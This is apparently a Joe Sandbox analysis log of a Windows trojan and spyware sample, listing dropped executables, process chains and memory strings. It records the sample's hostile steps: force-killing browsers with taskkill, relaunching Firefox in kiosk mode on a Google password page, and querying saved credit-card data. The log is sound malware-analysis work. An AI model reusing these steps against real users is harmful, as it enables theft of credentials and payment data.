Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E40228	9_2_00E40228
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E7A0D0	9_2_00E7A0D0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E6E8A0	9_2_00E6E8A0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E3A850	9_2_00E3A850
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E42030	9_2_00E42030
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E3E1A0	9_2_00E3E1A0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E35160	9_2_00E35160
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E74A40	9_2_00E74A40
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E3A300	9_2_00E3A300
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E5CCD0	9_2_00E5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E37CA4	9_2_00E37CA4
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E44487	9_2_00E44487
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E4049B	9_2_00E4049B
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E5C470	9_2_00E5C470
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E4C5F0	9_2_00E4C5F0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E335B0	9_2_00E335B0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E38590	9_2_00E38590
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E5FD10	9_2_00E5FD10
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E3BEB0	9_2_00E3BEB0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E46EBF	9_2_00E46EBF
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 9_2_00E3AF10	9_2_00E3AF10
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F68060	12_2_00F68060
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD2046	12_2_00FD2046
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FC8298	12_2_00FC8298
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F9E4FF	12_2_00F9E4FF
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F9676B	12_2_00F9676B
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FF4873	12_2_00FF4873
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F6CAF0	12_2_00F6CAF0
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F8CAA0	12_2_00F8CAA0
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F7CC39	12_2_00F7CC39
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F96DD9	12_2_00F96DD9
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F691C0	12_2_00F691C0
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F7B119	12_2_00F7B119
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F81394	12_2_00F81394
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F8781B	12_2_00F8781B
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F7997D	12_2_00F7997D
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F67920	12_2_00F67920
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F87A4A	12_2_00F87A4A
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FB3CE7	12_2_00FB3CE7
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F87CA7	12_2_00F87CA7
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F99EEE	12_2_00F99EEE
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FEBE44	12_2_00FEBE44

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: String function: 00F7F9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: String function: 00F69CB3 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: String function: 00F80A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: String function: 00E4D300 appears 47 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: Section: toioyzgt ZLIB complexity 0.9943542843341261
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: Section: iadgvtjq ZLIB complexity 0.9950858969713152
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: skotes.exe.3.dr	Static PE information: Section: toioyzgt ZLIB complexity 0.9943542843341261
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: aae25c676b.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: random[1].exe0.5.dr	Static PE information: Section: iadgvtjq ZLIB complexity 0.9950858969713152
Source: 7d61336cf8.exe.5.dr	Static PE information: Section: iadgvtjq ZLIB complexity 0.9950858969713152

Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000003.2404591407.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2492114993.00000000004D1000.00000040.00000001.01000000.00000009.sdmp, 7d61336cf8.exe, 0000000A.00000003.2591227334.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2634884064.0000000000A21000.00000040.00000001.01000000.00000010.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/24@92/12

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FD37B5 GetLastError,FormatMessageW,

12_2_00FD37B5

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FC10BF AdjustTokenPrivileges,CloseHandle,		12_2_00FC10BF
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FC16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		12_2_00FC16C3

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FD51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

12_2_00FD51CD

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FCD4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

12_2_00FCD4DC

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FD648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

12_2_00FD648E

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F642A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

12_2_00F642A2

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe

Code function: 6_2_053215D0 ChangeServiceConfigA,

6_2_053215D0

Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\L7HXZM5O.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5836:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;#
Source: file.exe, 00000000.00000003.2190951633.00000000055D2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202725554.00000000055D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191335094.00000000055B4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202863255.00000000055C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191554047.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 0000001A.00000003.2782230849.000002EE653CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2936846123.000002EE653CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE moz_places SET foreign_count = foreign_count + 1 WHERE id = NEW.place_id;

Source: file.exe

ReversingLabs: Detection: 39%

Source: OLR88CERN7VQFRQ38J.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: BF3BS0M5707K28RGW9.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 7d61336cf8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe "C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe "C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe"
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe "C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe "C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe "C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe "C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe"
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe "C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe"
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000995001\num.exe "C:\Users\user\AppData\Local\Temp\1000995001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2184 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c1d5462-c346-494a-a215-38ac926e40ed} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee4c96f510 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3744 -parentBuildID 20230927232528 -prefsHandle 3908 -prefMapHandle 3644 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e609914-25f3-44db-b997-bef2d2c17579} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee5ee46610 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe "C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe "C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe"
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000995001\num.exe "C:\Users\user\AppData\Local\Temp\1000995001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7c1ee17-f254-4518-bacd-57c97958ed1d} 4992 "\\.\pipe\gecko-crash-server-pipe.4992" 1c6f5e6ff10 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe "C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe "C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe "C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe "C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe "C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe "C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000995001\num.exe "C:\Users\user\AppData\Local\Temp\1000995001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2184 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c1d5462-c346-494a-a215-38ac926e40ed} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee4c96f510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3744 -parentBuildID 20230927232528 -prefsHandle 3908 -prefMapHandle 3644 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e609914-25f3-44db-b997-bef2d2c17579} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee5ee46610 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
